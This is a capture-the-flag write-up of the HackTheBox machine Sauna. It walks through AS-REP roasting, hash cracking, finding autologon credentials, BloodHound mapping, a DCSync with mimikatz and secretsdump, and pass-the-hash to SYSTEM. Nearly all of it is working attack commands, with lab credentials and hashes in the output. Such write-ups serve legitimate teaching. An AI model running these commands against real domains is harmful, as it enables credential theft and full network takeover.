title: Sauna date: 2026-06-28 tags: hackthebox, Active Directory, DCSync, mimikatz, autologon, Pass-the-Hash, BloodHound excerpt: Sauna demonstrates a chain of Active Directory misconfigurations: employee names exposed on a public website enabled ASREPRoasting, which yielded a foothold. Weak service account naming in autologon credentials, combined with excessive DCSync permissions, led directly to domain compromise. Each step relied on information left in plain sight, proving that AD security depends on securing every layer. cover: posts/images/sauna/cover-frank-sauna-scene.png
Sauna
Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation. Possible usernames can be derived from employee full names listed on the website. With these usernames, an ASREPRoasting attack can be performed, which results in hash for an account that doesn't require Kerberos pre-authentication. This hash can be subjected to an offline brute force attack, in order to recover the plaintext password for a user that is able to WinRM to the box. Running WinPEAS reveals that another system user has been configured to automatically login and it identifies their password. This second user also has Windows remote management permissions. BloodHound reveals that this user has the DS-Replication-Get-Changes-All extended right, which allows them to dump password hashes from the Domain Controller in a DCSync attack. Executing this attack returns the hash of the primary domain administrator, which can be used with Impacket's psexec.py in order to gain a shell on the box as NT_AUTHORITY\SYSTEM.
Recon
NMAP
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-06-25 23:15:43Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49685/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49693/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 38495/tcp): CLEAN (Timeout)
| Check 2 (port 61965/tcp): CLEAN (Timeout)
| Check 3 (port 10224/udp): CLEAN (Timeout)
| Check 4 (port 55035/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-06-25T23:16:36
|_ start_date: N/A
|_clock-skew: 7h00m00s
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:17
Completed NSE at 19:17, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:17
Completed NSE at 19:17, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:17
Completed NSE at 19:17, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 925.56 seconds
The nmap scan reveals a Windows Domain Controller with the domain EGOTISTICAL-BANK.LOCAL and hostname SAUNA
The box description mentions employee names on a website, so port 80/443 is likely our staring point
Enumeration
Port 80/443
The home page reveals Bank website running on IIS 10.0. Further exploration uncovers an about.html page listing the bank’s employees full names
These names form the basis of a potential username list for AD authentication attacks:
Port 445 SMB
It’s important to check SMB for any lower-hanging fruits than AD authentication attacks.
First we check for null session:
milksteak➜ sauna ᐅ nxc smb 10.129.95.180
SMB 10.129.95.180 445 SAUNA
[*] Windows 10 / Server 2019 Build 17763 x64
(name:SAUNA)
(domain:EGOTISTICAL-BANK.LOCAL)
(signing:True)
(SMBv1:None)
(Null Auth:True
We can see that Nulll Auth is available, next we list the shares
milksteak➜ sauna ᐅ smbclient -L //10.129.95.180 -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.95.180 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Null session connects but can’t enumerate shares
Initial Access
AS-REP Roasting
Kerberos is the default authentication protocol in Active Directory. when a user requests access, they first contact the Domain Controller’s Authentication Service (AS) to obtain a ticket Granting Ticket (TGT). Normally., The DC requires the user to prove their identity by encrypting a timestamp with their password hash this is called pre-authentication. Once verified, the DC returns a TGT encypted with the user’s hash
If a user account has the setting "Do not require Kerberos pre-authentication" enabled, the DC skips the identity verification step. An attacker can request a TGT for that user, receive the encrypted response, and crack it offline to recover the plaintext password. This requires no credentials and generates no failed logon events on the target.
The about.html page lists the bank’s employees full names. we can extract them cleanly uisng curl and grep to build username list for Kerberos attacks:
milksteak➜ sauna ᐅ curl -s http://10.129.95.180/about.html | grep -oP 'class="mt-2">\K[^<]+'
Fergus Smith
Hugo Bear
Steven Kerb
Shaun Coins
Bowie Taylor
Sophie Driver
The six employee names were used to generate potential usernames following common Active Directory naming conventions such as: fisrtname.lastname and firstinitial+lastname
milksteak➜ sauna ᐅ /opt/username-anarchy/username-anarchy -i names.txt > users.txt
milksteak➜ sauna ᐅ cat users.txt
fergus
fergussmith
fergus.smith
fergussm
fergsmit
ferguss
f.smith
fsmith
sfergus
s.fergus
smithf
smith
smith.f
smith.fergus
fs
hugo
hugobear
hugo.bear
hugob
h.bear
hbear
<snip>
The list is pretty long but I couldn’t afford to take a chance. This list will be tested against Kerberos to identify valid domain accounts:
First we run GetNPUsers to test for ASREPRoastable accounts. If any user has pre-auth disabled, we will get a hash back:
milksteak➜ sauna ᐅ impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -dc-ip 10.129.95.180 -no-pass -outputfile hashes.txt
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
<SNIP>
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:d19912edf572adaa7def6187e037351a$d97329d5d61403b527111185c6e7cf5d372b3f6fb877605afcc99e955312e662ee57d595c46691e1359cc9df50cf86be1cf4aa494fc18fccc9d7a7a38876d983f4c11749a83326bca235f4966e4cea7d01d659cd8c3156bdfeeee0cd3b7712ff15b4dadd7f63a86ab23b498b12932cd5fda9510dcf41ed7f10bb1cd0830d3be7deedf292176feb62bdec6457b5eff3e62588673c9885575a4061ae37f48b51e40b8887359c8c9d26788a60efb2da745c3d1bc28274551faf54e6a837119fc98bf33b9bad7bea1be94e66aca7775a44a676bb8507953bc05e18c608a8e03dd10079e86207d597f50c02fbc4116658b89dbc55a80bafb3af9e0e9172b6931bac90
<SNIP>
The username list was tested against the Domain Controller. Most usernames returned KDC_ERR_C_PRINCIPAL_UNKNOWN, indicating they do not exist in the domain. However, fsmith resolved successfully and returned an AS-REP hash.
The hash was saved to hashes.txt and can now be cracked offline to recover the plaintext password
milksteak➜ sauna ᐅ hashcat -m 18200 hashes.txt /home/xi/rockyou.txt
hashcat (v7.1.2) starting
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:d19912edf572adaa7def6187e037351a$d97329d5d61403b527111185c6e7cf5d372b3f6fb877605afcc99e955312e662ee57d595c46691e1359cc9df50cf86be1cf4aa494fc18fccc9d7a7a38876d983f4c11749a83326bca235f4966e4cea7d01d659cd8c3156bdfeeee0cd3b7712ff15b4dadd7f63a86ab23b498b12932cd5fda9510dcf41ed7f10bb1cd0830d3be7deedf292176feb62bdec6457b5eff3e62588673c9885575a4061ae37f48b51e40b8887359c8c9d26788a60efb2da745c3d1bc28274551faf54e6a837119fc98bf33b9bad7bea1be94e66aca7775a44a676bb8507953bc05e18c608a8e03dd10079e86207d597f50c02fbc4116658b89dbc55a80bafb3af9e0e9172b6931bac90:Thestrokes23
Started: Thu Jun 25 21:00:29 2026
Stopped: Thu Jun 25 21:00:47 2026
Then we use Evil-Winrm to gain shell access:
milksteak➜ sauna ᐅ evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> cat ..\Desktop\user.txt
Post-Exploitation Enumeration
With initial foothold as fsmith, we need to map the local system for privilege escalation paths. Rather than manually checking every possible misconfiguration, we need to upload WinPEAS
This ensures no low-hanging fruit is missed:
Looking for AutoLogon credentials (T1552.002)
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
WinPEAS identified autologon credentials in the registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. The stored values showed a username of svc_loanmanager with the password Moneymakestheworldgoround!.
Initial attempts to authenticate with this exact username failed. Further enumeration of the local Remote Management Users group revealed the actual account name is **svc_loanmgr**the registry entry contained a longer display name rather than the SAM account name:
*Evil-WinRM* PS C:\Users\FSmith\Documents> net localgroup "Remote Management Users"
Alias name Remote Management Users
Comment Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.
Members
-------------------------------------------------------------------------------
FSmith
svc_loanmgr
The command completed successfully.
This highlights the importance of verifying extracted usernames against local group memberships rather than trusting registry values at face value.
Domain Enumeration with BloodHound
With valid credentials for svc_loanmanager but no direct shell access, we need to understand the account’s position within the domain. We will use BloodHound CE to map Active Directory relationships and privilege paths that aren’t visible from local enumeration alone.
Using SharpHound, we gather domain data:
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> .\SharpHound.exe
2026-06-28T10:11:20.0375891-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2026-06-28T10:11:20.0532056-07:00|INFORMATION|SharpHound Version: 2.13.0.0
2026-06-28T10:11:20.0532056-07:00|INFORMATION|SharpHound Common Version: 4.6.2.0
2026-06-28T10:11:20.1313354-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, CertServices, LdapServices, WebClientService, SmbInfo
2026-06-28T10:11:20.1625933-07:00|INFORMATION|Initializing SharpHound at 10:11 AM on 6/28/2026
2026-06-28T10:11:20.1938386-07:00|INFORMATION|Resolved current domain to EGOTISTICAL-BANK.LOCAL
2026-06-28T10:11:20.4750813-07:00|INFORMATION|Loaded cache with stats: 16 ID to type mappings.
0 name to SID mappings.
1 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
<SNIP>
2026-06-28T10:11:22.8188308-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2026-06-28T10:11:22.9125791-07:00|INFORMATION|Status: 297 objects finished (+297 148.5)/s -- Using 48 MB RAM
2026-06-28T10:11:22.9125791-07:00|INFORMATION|Enumeration finished in 00:00:02.3559867
2026-06-28T10:11:22.9750832-07:00|INFORMATION|Saving cache with stats: 16 ID to type mappings.
0 name to SID mappings.
1 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2026-06-28T10:11:22.9907042-07:00|INFORMATION|SharpHound Enumeration Completed at 10:11 AM on 6/28/2026! Happy Graphing!
The we upload the .zip file to BloodHound for ingestion
Full Compromise
Marking the account svc_loanmngr owned, and running Shortest Paths to Domain Controller reveals a direct privilege escalation vector The user SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL has the DS-Replication-Get-Changes and the DS-Replication-Get-Changes-All permission on the domain EGOTISTICAL-BANK.LOCAL.
With DCSync rights confirmed , we upload Mimikatz to the target and extract the Administrator hash directly from the svc_loanmgr session using the lsadump::dcsync module. This replicates domain credentials
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> .\mimikatz.exe "lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:Administrator" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:Administrator
[DC] 'EGOTISTICAL-BANK.LOCAL' will be the domain
[DC] 'SAUNA.EGOTISTICAL-BANK.LOCAL' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 7/26/2021 9:16:16 AM
Object Security ID : S-1-5-21-2966785786-3096785034-1186376766-500
Object Relative ID : 500
Credentials:
Hash NTLM: 823452073d75b9d1cf70ebdf86c7f98e
ntlm- 0: 823452073d75b9d1cf70ebdf86c7f98e
ntlm- 1: d9485863c1e9e05851aa40cbb4ab9dff
ntlm- 2: 7facdc498ed1680c4fd1448319a8c04f
lm - 0: 365ca60e4aba3e9a71d78a3912caf35c
lm - 1: 7af65ae5e7103761ae828523c7713031
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 716dbadeed0e537580d5f8fb28780d44
* Primary:Kerberos-Newer-Keys *
Default Salt : EGOTISTICAL-BANK.LOCALAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
aes128_hmac (4096) : a9f3769c592a8a231c3c972c4050be4e
des_cbc_md5 (4096) : fb8f321c64cea87f
OldCredentials
aes256_hmac (4096) : 987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031
aes128_hmac (4096) : 145e4d0e4a6600b7ec0ece74997651d0
des_cbc_md5 (4096) : 19d5f15d689b1ce5
OlderCredentials
aes256_hmac (4096) : 9637f48fa06f6eea485d26cd297076c5507877df32e4a47497f360106b3c95ef
aes128_hmac (4096) : 52c02b864f61f427d6ed0b22639849df
des_cbc_md5 (4096) : d9379d13f7c15d1c
* Primary:Kerberos *
Default Salt : EGOTISTICAL-BANK.LOCALAdministrator
Credentials
des_cbc_md5 : fb8f321c64cea87f
OldCredentials
des_cbc_md5 : 19d5f15d689b1ce5
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 b4a06d28f92506a3a336d97a66b310fa
02 71efaf133c578bd7428bd2e1eca5a044
03 974acf4f67e4f609eb032fd9a72e8714
04 b4a06d28f92506a3a336d97a66b310fa
05 79ba561a664d78d6242748774e8475c5
06 f1188d8ed0ca1998ae828a60a8c6ac29
07 801ddc727db9fa3de98993d88a9ffa8b
08 a779e05da837dd2d303973304869ec0f
09 ac2c01846aebce4cbd4e3ec69b47a65d
10 6d863d6ae06c3addc49b7a453afe6fa0
11 a779e05da837dd2d303973304869ec0f
12 6676b9fdd4aa7f298f1ada64c044c230
13 5a01167d750636d66e5602db9aece9b7
14 f702282bd343c2fee7b98deac8950390
15 a099aa3c81f1affeba59d79a6533f60d
16 4bae84b8f0b0306788ff9bda4acb3bd4
17 976d547fb9e04b0ac5ec60508c275da1
18 50c302b71d0e08a1a2be14b56225645f
19 edb19e08653443695f6d3599e0a6bddf
20 c497465ddc6e2fc14cb0359d0d5de7f8
21 2ed0b4b57196fb190a66224b2b17029f
22 37d03051ae1cd6046975948564ab01fa
23 d4c7554fe1beb0ed712f50cfec470471
24 8df495fe69cdce409b9f04ea04289b9e
25 40788044be982310920cc0740687fefd
26 db7f66f1f1a8f46274d20cfdda5b6e1c
27 d70226ec52f1ef198c2e1e955a1da9b6
28 abdd681f875a9b3f3a50b36e51692a2c
29 dcd140a2ce2bf70fed7ac0e2b60d0dee
mimikatz(commandline) # exit
Bye!
That worked, now lets try Linux Abuse with impacket
milksteak➜ sauna ᐅ impacket-secretsdump -just-dc EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.95.180
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:1dc96f099985f6c35352726650843f22:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:7419322beadca69c99401f7a43e99ea1025b4770c90a168b85f6b678c91dcbd1
SAUNA$:aes128-cts-hmac-sha1-96:7a6c5fbb28361f9a17574d864c9f7801
SAUNA$:des-cbc-md5:eab06da8865e38dc
[*] Cleaning up...
Perfect
Now with the Administrator NTLM hash recovered via DCSync, we authenticate to the Domain Controller without needing the plaintext password. Pass-the-hash reuses the captured hash directly in the authentication protocol, bypassing the need to crack it
We can use psexec or evil-winrm, I will use both because I can:
milksteak➜ sauna ᐅ impacket-psexec -hashes :823452073d75b9d1cf70ebdf86c7f98e EGOTISTICAL-BANK.LOCAL/Administrator@10.129.95.180
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.129.95.180.....
[*] Found writable share ADMIN$
[*] Uploading file SEoIjxUl.exe
[*] Opening SVCManager on 10.129.95.180.....
[*] Creating service tgQJ on 10.129.95.180.....
[*] Starting service tgQJ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
evil-winrm -i 10.129.95.180 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
Sauna demonstrates a chain of Active Directory misconfigurations: employee names exposed on a public website enabled ASREPRoasting, which yielded a foothold. Weak service account naming in autologon credentials, combined with excessive DCSync permissions, led directly to domain compromise. Each step relied on information left in plain sight, proving that AD security depends on securing every layer.